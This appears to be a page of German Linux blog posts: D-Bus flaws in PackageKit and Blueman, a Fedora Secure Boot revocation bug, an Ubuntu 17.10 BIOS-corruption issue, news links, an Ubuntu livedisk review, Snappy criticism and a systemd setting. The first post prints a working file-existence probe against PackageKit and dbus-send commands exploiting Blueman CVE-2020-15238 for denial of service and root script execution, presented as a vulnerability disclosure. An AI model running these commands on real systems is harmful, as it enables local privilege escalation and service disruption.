D-BUS: Schwachstellen mit Blueman und PackageKit

Da weiß man gar nicht, wie man anfangen soll, aber .. am Anfang war … D-BUS 🙂  Im neuen Ubuntu 20 … UPDATE: FEDORA 31 & 32 AUCH BETROFFEN …  wurden einige Sicherheitslücken gefunden, mit denen sich u.A. Dateien von Root finden lassen, auf die der Angreifer so gar nicht zugreifen könnte. Ob sich das nur auf Ubuntu bezieht, wird man sehen müssen.

D-BUS: Schwachstellen mit Blueman und PackageKit

Eine Information Disclosure Schwachstelle gibt es im Umgang mit D-BUS und PackageKit, so daß man als normaler angemeldeter Benutzer die Existenz von Dateien prüfen kann, die eigentlich nur Root überhaupt sehen könnte, bspw. alles was im /root/ Directory drin ist:

import dbus

bus = dbus.SystemBus()

apt_dbus_object = bus.get_object("org.freedesktop.PackageKit", "/org/freedesktop/PackageKit")
apt_dbus_interface = dbus.Interface(apt_dbus_object, "org.freedesktop.PackageKit")  

trans = apt_dbus_interface.CreateTransaction()

apt_trans_dbus_object = bus.get_object("org.freedesktop.PackageKit", trans)
apt_trans_dbus_interface = dbus.Interface(apt_trans_dbus_object, "org.freedesktop.PackageKit.Transaction")

apt_trans_dbus_interface.InstallFiles(0, ["/root/.bashrc"])

Möglich macht das eine mangelnde Prüfung, ob der User überhaupt autorisiert ist, diese Anfrage stellen zu dürfen.Es stellt sich raus, Fedora 31 und 32 sind auch von der Schwachstelle betroffen und so sieht das dann aus:

$ python3 ./d-bus-packagekit.py
Traceback (most recent call last):
File „./d-bus-packagekit.py“, line 13, in <module>
apt_trans_dbus_interface.InstallFiles(0, [„/root/.bashrc“])
File „/usr/lib64/python3.7/site-packages/dbus/proxies.py“, line 70, in __call__
return self._proxy_method(*args, **keywords)
File „/usr/lib64/python3.7/site-packages/dbus/proxies.py“, line 145, in __call__
**keywords)
File „/usr/lib64/python3.7/site-packages/dbus/connection.py“, line 651, in call_blocking
message, timeout)
dbus.exceptions.DBusException: org.freedesktop.PackageKit.Transaction.MimeTypeNotSupported: MIME type ‚text/plain‘ not supported /root/.bashrc

Das ist die Antwort für eine Datei, die vorhanden ist. Nachfolgend der gleiche Ablauf für eine Datei, die nicht vorhanden ist:

$ python3 ./d-bus-packagekit.py
Traceback (most recent call last):
File „./d-bus-packagekit.py“, line 13, in <module>
apt_trans_dbus_interface.InstallFiles(0, [„/root/.bashrc333“])
File „/usr/lib64/python3.7/site-packages/dbus/proxies.py“, line 70, in __call__
return self._proxy_method(*args, **keywords)
File „/usr/lib64/python3.7/site-packages/dbus/proxies.py“, line 145, in __call__
**keywords)
File „/usr/lib64/python3.7/site-packages/dbus/connection.py“, line 651, in call_blocking
message, timeout)
dbus.exceptions.DBusException: org.freedesktop.PackageKit.Transaction.NoSuchFile: No such file /root/.bashrc333

Beurteilung:

  • – Man muß auf dem System als Benutzer angemeldet sein.
  • – Man muß sich mühseelig jede Datei einzeln vornehmen, was sich etwas automatisieren läßt, also schon wissen, was man sucht.
    – Man kann nicht auf den Inhalt schliessen.
  • – Es läßt sich so aber einfach feststellen, ob bestimmte Software installiert ist.

Ich halte die Lücke für nicht ganz so gravierend, man sollte sie aber schliessen. Bugreport an Fedora ist raus.

Blueman Local Privilege Escalation or Denial of Service (CVE-2020-15238)

Die Blueman Lücke ist deutlich schlimmer, da man darüber Befehle ausführen kann. Das läßt sich zudem trivial ausnutzen:

dbus-send --print-reply --system \
  --dest=org.blueman.Mechanism \
  /org/blueman/mechanism \
  org.blueman.Mechanism.DhcpClient \
  string:"ens33 down"

ens33 ist das Netzwerkinterface. Funktionieren tut das aber nur dann, wenn auch der dhcpcd installiert ist, was nicht zwangsweise so sein muß. Der Fedora Default ist der dh_client, der so scharf kontrolliert, was man ihm da über den D-BUS übergibt, daß man diese Lücke nur für einen DOS, aber nicht für die Local Privilege Escalation Attacke ausnutzen kann. Die würde so funktionieren:

dbus-send --print-reply --system --dest=org.blueman.Mechanism \
/org/blueman/mechanism org.blueman.Mechanism.DhcpClient \
string:"-c/tmp/bashscript"

Also vorher ein Script anlegen, daß root dann ausführen darf => GGS .. Ganz Große Scheiße!

Wenn Ihr also Blueman und Ubuntu 20 benutzt, dann sorgt doch mal für ein paar Updates auf Eurem System 😉

 

 

Fedora: Ubuntu knockt Fedora aus dem Secure-Boot

Die Schlagzeile hat was, oder?  😀

Fedora: Ubuntu knockt Fedora aus dem Secure-Boot

Der Releasetermin für Fedora 33 wackelt, da kurzfristig einer neuer Blocker dazu bekommen ist. Ubuntu hat offensichtlich etwas voreilig eine aktuelle Revocationliste für Bootloader ins EFI-Bios verteilt und damit Fedora 33 Beta unbrauchbar gemacht. Um dem Bug zu begegnen, muß man natürlich erst einmal Ubuntu installiert oder laufen gehabt haben und dann Fedora booten wollen.

5. shim https://bugzilla.redhat.com/show_bug.cgi?id=1883609 NEW
Secure Boot fails to boot F33 Beta image

It appears that Ubuntu has pushed a Secure Boot revocation list early, so people who have previously installed Ubtunu will not be able to boot Fedora. This is accepted as a FESCo blocker.

Nachlesen kann man das auf Bugzilla.

Nicht ganz unüblich dürfte das bei Menschen sein, die sich gerade durch diverse Livedisks durchtesten, auf der Suche nach Ihrem zukünftigen Lieblingsbetriebssystems.

Da es auch mein Problem mit dem Bootvorgang auf dem Tablet betrifft, habe ich da natürlich Hoffnungen. Was mir gerade so einfällt: Wo ist eigentlich der Sinn von Secure-Boot, wenn man das im Bios einfach abschalten kann?

In anderen Fedora News

DoT oder DNS-over-TLS kommt wohl doch erst mit Fedora 34. Nicht aufgegriffen wurden auch die anhaltenden pcscd & RDP Probleme mit Gnome, oder der Umstand, daß man mit Fedora keine Screencasts in Videokonferenzen machen kann 🙁  Kommt alles ein bisschen spät für die Deadline, schon klar, war aber mit Sicherheit schon so, als F33 intern das erste mal durchkompilierte.

Von der Geary Front, vorgestellt im letzten BS-LUG Meeting, gibt es auch eine neue Entwicklung: Ein bereits vor Monaten eingereichter Bugreport über einen Formatierungsfehler bei in Antworten erzeugten Daten wie „ER/SIE schrieb am …. um .. das folgende…“ sind allesamt falsch lokalisiert. Als Zeitzone kommt UTC+0 und als Format „english“ zum Einsatz, was bei einer rein Deutschen Konversation per Email mit dem Satz endete: „Das hast Du doch nie vor 2 Stunden geschrieben!“ 🙂 Da ist jetzt neue Bewegung rein gekommen, da der Hauptmaintainer langsam versteht, daß es sich nicht um ein Übersetzungsproblem handelt, sondern um ein Lokalisierungsproblem. Solche Jobs übernehmen Betriebssystembibliotheken normalerweise für einen, aber man muß die natürlich richtig füttern 😉

 

Linux – Ubuntu 17.10 kann Laptopbios beschädigen

Die Verteilung von Ubuntu Linux 17.10 wurde eingestellt, da ein INTEL Treiber die Firmware von Laptops beschädigen kann. Besonders betroffen sind Modelle von LENOVO.

aus dem Ubuntu Launchpad

Mehr dazu im Ubuntu Bugtracker unter https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1734147 :

SRU Justification

Impact: Many users are reporting issues with bios corruption with 17.10. This seems to stem from enabling the intel-spi-* drivers in the kernel, which don't appear to be ready for use on end-user machines.

Fix: Disable this driver.

Test Case: Fix has been verified by our HWE team on affected hardware.

Regression Potential: Minimal, it's unlikely anyone is actually doing anything which requires this driver.

Modelliste

#### UPDATE (20/12/2017) ####

LENOVO machines affected so far (please add your affected model to this list):

Lenovo B40-70
Lenovo B50-70
Lenovo B50-80
Lenovo Flex-3
Lenovo Flex-10
Lenovo G40-30
Lenovo G50-70
Lenovo G50-80
Lenovo S20-30
Lenovo U31-70
Lenovo Y50-70
Lenovo Y70-70
Lenovo Yoga Thinkpad (20C0)
Lenovo Yoga 2 11" - 20332
Lenovo Z50-70
Lenovo Z51-70
Lenovo ideapad 100-15IBY

The bug also affects:
Acer Aspire E5-771G
Acer TravelMate B113
Toshiba Satellite S55T-B5233

Bug may effect machines from any manufacturer that uses BIOS based on Insyde Software

Diese Woche im Netz

Putschversuch in der Türkei …. und missglückt. Von militärischer Präzision kann man wohl nicht sprechen.

Quelle: https://twitter.com/hashtag/T%C3%BCrkei?src=tren

Für alle die auf einem Windows 10 den Ubuntu Desktop laufen lassen wollen, finden in dem Link unten eine bebilderte Anleitung, wie man das schafft.

Quelle: thehackernews.com

„Sky“ ist Großbritaniens größter TV Anbieter und gleichzeitig für seine raubgestreamten Sportkanäle berühmt. Deswegen hatte Sky eine Domain der Piraten übernommen. Und ? 🙂 Sky hat wohl vergessen die DNS Server zu tauschen und linkt jetzt immer noch auf die Piratenseite, seit Monaten 🙂

Quelle: torrentfreak.com

Wer glaubt, daß Abmahnmissbrauch ein deutsches Phänomen wäre, der klickt auf den Link unten. Da werden in England auch mal 82jährige Omas bedroht.

Quelle: torrentfreak.com

Amerikanische Gerichte meinen, daß man ein Bundesverbrechen begeht, wenn man öffentliche Webseiten aufruft und einem das verboten worden ist.

Quelle: thehackernews.com

Die Foren von Ubuntu wurden gehackt.

Quelle: lwn.net

Microsoft muß Emails, die auf ausländischen Servern liegen doch nicht herausgeben – Vorerst. Das Ganze könnte noch vor den obersten Gerichtshof gelangen.

Quelle: golem.de

Der aus China stammende Maxthon-Browser sendet heikle Daten nach Hause und ist dabei auch noch schlampig am Werk.

Quelle: golem.de

Und wieder eine Windows Kopie mehr, die auf Linux basiert. Wer sich einen Test mit Screenshots ansehen will, folgt dem Link.

Quelle: linux.com

 

Ubuntu Desktop auf W10 starten

Für alle die auf einem Windows 10 den Ubuntu Desktop laufen lassen wollen, finden in dem Link unten eine bebilderte Anleitung, wie man das schafft.

Quelle: http://thehackernews.com/2016/07/ubuntu-gui-windows-10.html

Was man mit Unity als erstes machen sollte..

… darf ich nicht sagen, sonst werde ich gevierteilt 😀 Am Ende kommt Ihr selbst drauf, ich schwör!

Ubuntu, das von unserer LUG als am einfachsten zu supportende Linux gewählt, zieht man sich zunächst mal als ISO File und brennt es auf einen USB Stick, bzw. startet es direkt mit einer Virtualisierungsumgebung ( z.b. Boxen, Xen, KVM etc. ).

Nach dem Booten und der Entscheidung, daß man es erstmal TESTEN will, sollte man zuerst mal das Augenkrebs auslösende Farbschema auflösen, indem man ein anderes Hintergrundbild wählt :

Ubuntu-1selbiges kann man in den Systemeinstellungen ändern, welches an dem Icon mit dem Zahnrad und dem Engländer-Schraubenschlüssel links im Dock erkennen kann.

Des weiteren fällt auf, daß Englisch die gewählte Sprache ist, was nicht sein muß, denn über das Languagetool / Sprachen und Regionen, kann man sich recht einfach Deutsch ins Haus holen, so man denn zuerst das obligatorische Update einspielt :

Ubuntu-2Install klicken und dann per Drag & Drop ( wirklich !?!?!?! ) „Deutsch“ an oberste Stelle in der Liste hieven muß.

Ubuntu-3Jetzt noch die systemweit (per Knopfdruck) auf Deutsche Lokale einstellen:Ubuntu-4 Das alleine ist schon anstrengend, aber es kommt leider noch besser, denn die Livedisk ist in ihren Mittel leider arg begrenzt, was meint, ein sofortiges Umstalten auf Deutsch ist nicht absehbar, denn dazu müßte sich der User neu einloggen. Täte er dies auf der Livedisk, wäre der Spaß für ihn oder sie hier bereits zu ende, denn .. und ich wage es kaum auszusprechen … man kann sich danach nicht mehr als Liveuser einloggen !

Um das Problem zu umschiffen öffnet man ein Terminal und gibt ein:

sudo su –

gefolgt von:

systemctl restart lightdm

Ubuntu-11und dann kommt das Bild hier:

Ubuntu-5Die Oberfläche wurde quasi soft neugestartet und macht jetzt die Änderungen für Deutsch. Noch das Tastaturlayout umgestellt :

Ubuntu-6und wir könnten anfangen mit Testen, wenn … ja, wenn da nicht noch ein Pferdefuß wäre 🙂

Links oben im Dock befindet sich die zentrale Anlaufstelle, falls man nicht weiß, was man will: die Suche!

Um etwas suchen zu wollen, müßte man etwas finden können. Da man nicht weiß was man finden will, schlägt die Suchapp hier gleich mal was vor. Unten am Rand kann man da noch diverse Suchfelder umschalten.

Wenn man schon wenig an Programmen vorfindet, will man vielleicht etwas installieren. Diesen Vorgang kann man über die „Ubuntu Software“ Anwendung bewerkstelligen, gäbe es denn überhaupt Software, die uns diese App vorschlagen könnte. Ganze 4 Spiele sind vorhanden und dummerweise schon installiert. Zumindest weiß über diese jetzt bescheid und könnte versuchen sie zu finden.

Ubuntu-13Der Softwarecenter ( gleiches Tool, andere von mir gewählte Bezeichnung ) sorgt auch für Aktualisierungen … ja,nee… laß es einfach, funktioniert auch nicht 🙁

Ubuntu-9Der Versuch erzeugt leider soviel Platzverbrauch, daß die Ramdisk vom Livedemo volläuft … und da hörte der Spaß dann auf 😀

Fazit: „Ubuntu Livedisk – Nein Danke!“

Die VM hatte übrigens 3 GB RAM, mehr als genug für so einen Test.

So wie Unity bedient wird, muß ich allerdings sagen, daß wer nichts anderes kennt und neugierig ist, damit wohl zurechtkommen wird. Aber besser wäre es, etwas anderes auszutesten. Überzeugen konnte es mich nicht.

Einige merkwürdige Dinge fielen mir auf:

  • der Versuch das ApfelOS nachzuäffen, was lustigerweise auf dem Freedesktop aufsetzt
  • der Livediskuser der nicht mehr einloggen kann.
  • die sagenhafte Auswahl an nicht vorhandener Software im Softwarecenter
  • die 32Bit Version kann man sich nur per Torrent ziehen, was ungewöhnlich ist

Obige Punkte haben andere Distros in Ihren Livedisks übrigens gelöst. Das Sprachumschaltproblem erfordert dort auch den Relogin, aber der ist wenigstens möglich.

Unter uns.. nehmt was anderes, nur Slackware war bislang schlechter zu testen 😉

Und nun können alle Ubuntu Fans loslegen 🙂

allgemeiner Hinweis: Kritiken werden gepostet, beleidigende Kommentare nicht.

Die Neverending-Snappy-Story…

… oder wie Canonical die Presse verwirrt.

Heute ist bei Heise.de folgender Artikel erschienen: http://www.heise.de/ix/meldung/Richtungswechsel-Diskussion-um-neue-Linux-Paketformate-3244636.html

Dort wird weiterhin (hoffentlich unabsichtlich) fälschlich behauptet, daß Ubuntu andere Distributionen mit ins Snappy Boot geholt hätte, was ja min. für Fedora nicht stimmt. Fakt ist, daß Snappy allein von Canonical Entwicklern betrieben wird, weil alle Externen Entwickler müßten die einseitige CLA ( Canonical Licence Agreement ) unterschreiben, die Canonical die alleinigen Rechte an Ihrem Beitrag überschreibt. Natürlich ist das nur eine sehr grobe Darstellung der Lizenz, aber es geht aber darum, daß niemand bei klarem Verstand das unterschreiben würde. Die Entwickler bei Fedora / Redhat werden es sicherlich nicht tun 😀

Snappy ist also genau wie FlatPak, was ein reines Redhatprodukt ist, Distrohersteller-Only und damit genau das Gegenteil von dem was Canonical in seiner Pressemitteilung geschrieben hat. Der tiefere Sinn der Aktion dürfte sein, Fakten zu schaffen, wo keine Fakten sind, weil nachher keiner mehr fragen wird, ob es diese distroübergreifende Zusammenarbeit jemals gab, wenn erstmal Apps für alle Distros da sind.

Mit so einer Taktik sind schon ganz andere durchgekommen 🙂  Damit das nicht passiert und unsere Apps sicher bleiben, habe ich mich mal an Heise gewandt und um Änderung des Artikels gebeten ( sortof 😀 )

Einen Teil Wahrheit hatte der Artikel IMHO dann doch, die Diskussion um Snappy ist derzeit voll im Gange, was aber nicht im Sinne von Canonical sein wird, weil so rauskommt, was da hätte laufen sollen 😀

 

Bullshit: Snappy auf Fedora

In einem Blog-Beitrag auf seiner Webseite hat sich Adam Williamson, seines Zeichens bei Red Hat für die Fedora QA/QS zuständig,  über Snappy und die unglückliche Pressemitteilung von Ubuntu ausgelassen.

Kurz zusammengefaßt heißt es da, daß Ubuntu bei Fedora zwar wegen Snappy angefragt hat, aber nur zu dem Zweck, um zu erfahren, wie man die Pakete für Fedora bauen muß. Ansonsten gibt es  keine Zusammenarbeit von Ubuntu und Fedora in dem Punkt.

Die weiteren Statements sind privater Natur und spiegeln wider, was auch ich über so ein Vorhaben wie Snappy denke. Dazu muß man jetzt aber wissen, was Snappy machen soll.

In der Kurzfassung: Snappy ermöglicht es Dockercontainer gleich, eine Anwendung mit all Ihren Libs und Konfigfiles als Ganzes unabhängig vom Betriebssystem in einem dicken BinaryBlob (ein monolithisches Binärfile) zubündeln und damit direkt ausführbar zu machen. Als Folge davon, und das ist der Hauptkritikpunkt, handelt man sich ggf. komplett veraltetet Versionen ein, weil der Entwickler des eigentlich Hauptprogramms keinen Bock hat, seine Anwendung auf Stand zu halten. Im Prinzip hat man eine LTS Version, nur völlig ohne das S , was hier wahlweise für Support oder Sicherheit stehen kann.

Dazu kommt laut AdamW noch, daß Ubuntu Fedora Pakete ohne das Confinement anbietet, was die einzige Sicherheitshürde darstellt, wenn es denn überhaupt an ist. Confinement meint, das Ausführen in einer Sandbox, wo eine Sicherheitslücke in der Anwendung eben gerade nicht das Hostsystem kompromitieren kann.

Dieser Punkt ist aber IMHO nicht verhandelbar. Es muß immer sicher sein und unsichere Softwareversionen kommen einfach nicht auf den Tisch. Man muß sich ernsthaft fragen, ob bei Ubuntu noch alle Latten im Zaun sind, seid Sie mit Microsoft enger zusammenarbeiten.

Am Ende möchte ich AdamW noch kurz zu Wort kommen lassen 🙂

This is, to put it diplomatically, a heaping pile of steaming bullshit. You may not be surprised to learn that said pile has been served by the Canonical press department.

Noch Fragen ? 😀

Systemd Änderungen brechen langlaufende Prozesse ab

Für die Version 230 vom Systemd sind Anpassungen umgesetzt worden, die noch nicht alle Distributionen erreicht haben, aber jetzt schon Ihre Schatten vorraus werfen.

Das Defaultverhalten zu langlaufenden Prozessen wird geändert, was bedeutet, daß Prozesse, die per Screen(und anderen Tools) gestartet wurden, beim Logout des Users beendet werden. Screen ist aber gerade dafür da, daß man sich während der Prozess läuft, ausloggen kann,

Das neue Verhalten führte bei Debian bereits zu ersten Beschwerden der User. Zum Glück kann man das leicht abschalten:

Ladet die Datei /etc/systemd/login.d.conf in einen Texteditor und kommentiert die Zeile(n):

KillUserProcesses=no
KillOnlyUsers=
KillExcludeUsers=root

ein. Damit ist wieder alles wie vorher. ( A.d.R. ggf. ist ein Neustart des Loginds nötig, sprich ein Reboot )